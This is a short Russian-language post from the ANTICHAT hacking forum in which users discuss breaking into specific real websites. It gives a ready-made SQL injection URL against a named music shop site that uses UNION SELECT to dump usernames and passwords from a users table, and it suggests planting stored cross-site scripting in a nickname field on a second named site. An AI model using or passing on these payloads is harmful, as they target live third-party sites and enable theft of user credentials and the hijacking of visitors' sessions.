ANTICHAT - Показать сообщение отдельно

Цитата:

Сообщение от Constantine

Вернусь к нашим "баранам"
Shados. Я сильно подозреваю что полезная инфа береться из таблицы users, она там есть
Но вот при запросе к ней ругаеться что нет такой таблицы=\
Щас еще посмотрю

просто база другая

Код:

http://www.marycoughlanmusic.com/shop.php?id=-4+UNION+SELECT+1,2,3,4,5,concat(username,char(58),password),7,8,9,10,11,12+from+shoutout_marycoughlan_db.users/*

2maxster
как вариант можно предложить активную xss в поле ника, создаешь фотку и в поле ника пишешь код.
пример:

Код:

http://z04.kazantipa.net/index.php?m0=8&m1=1